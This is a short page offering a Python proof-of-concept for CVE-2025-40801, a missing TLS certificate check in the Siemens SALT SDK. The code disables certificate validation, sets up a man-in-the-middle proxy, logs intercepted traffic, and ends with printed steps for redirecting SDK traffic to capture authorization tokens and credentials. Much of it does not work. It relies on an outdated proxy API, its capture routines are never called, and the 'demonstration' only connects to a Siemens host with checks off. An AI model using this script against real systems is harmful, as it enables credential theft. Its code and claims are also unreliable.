CVE-2025-40801: Siemens SALT SDK TLS证书验证缺失漏洞

# CVE-2025-40801 PoC - TLS Certificate Validation Bypass # This PoC demonstrates the MITM attack vector against SALT SDK # Note: This is for educational and authorized testing purposes only import ssl import socket import subprocess from mitmproxy import proxy, options from mitmproxy.proxy.server import ProxyServer class TLSInterceptor: """ TLS/SSL Certificate Validation Bypass PoC Simulates attacker performing MITM attack due to missing certificate validation """ def __init__(self, listen_port=8443, target_host='auth.siemens.com', target_port=443): self.listen_port = listen_port self.target_host = target_host self.target_port = target_port self.captured_data = [] def create_fake_tls_context(self): """ Create a malicious TLS context without proper certificate validation This simulates the vulnerable SDK behavior """ # Create unverified SSL context (vulnerable behavior) ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE # Critical: No certificate validation return ctx def start_proxy(self): """ Start MITM proxy to intercept TLS connections """ opts = options.Options(listen_host='0.0.0.0', listen_port=self.listen_port) # Configure proxy to intercept all HTTPS traffic opts.ssl_insecure = True # Accept invalid certificates config = proxy.ProxyConfig(opts) server = ProxyServer(config) print(f"[*] MITM Proxy started on port {self.listen_port}") print(f"[*] Redirecting traffic to {self.target_host}:{self.target_port}") return server def capture_credentials(self, client_socket, server_socket): """ Capture and log sensitive data from intercepted connection """ try: while True: # Receive data from client client_data = client_socket.recv(4096) if not client_data: break # Log captured data (in real attack, this would be exfiltrated) self.captured_data.append(client_data) print(f"[+] Captured {len(client_data)} bytes from client") # Forward to server server_socket.sendall(client_data) # Receive response from server server_response = server_socket.recv(4096) if server_response: # Log server response self.captured_data.append(server_response) client_socket.sendall(server_response) except Exception as e: print(f"[-] Error during interception: {e}") finally: client_socket.close() server_socket.close() def demonstrate_vulnerability(self): """ Demonstrate the certificate validation bypass """ print("=" * 60) print("CVE-2025-40801 - SALT SDK Certificate Validation Bypass") print("=" * 60) # Simulate vulnerable connection (no certificate validation) print("\n[*] Establishing connection WITHOUT certificate validation...") ctx = self.create_fake_tls_context() try: with socket.create_connection((self.target_host, self.target_port), timeout=10) as sock: with ctx.wrap_socket(sock, server_hostname=self.target_host) as ssock: cert = ssock.getpeercert() print(f"[!] WARNING: Connection established despite invalid/missing certificate") print(f"[!] Certificate info: {cert}") print("[*] This demonstrates the vulnerability - no proper validation occurred") return True except Exception as e: print(f"[-] Connection failed: {e}") return False def main(): poc = TLSInterceptor() poc.demonstrate_vulnerability() print("\n[*] To fully exploit this vulnerability:") print(" 1. Position attacker in network path (MITM)") print(" 2. Deploy malicious TLS server with self-signed cert") print(" 3. Redirect SALT SDK traffic to attacker-controlled server") print(" 4. Capture authorization tokens and credentials") print(" 5. Potentially inject malicious responses") if __name__ == '__main__': main()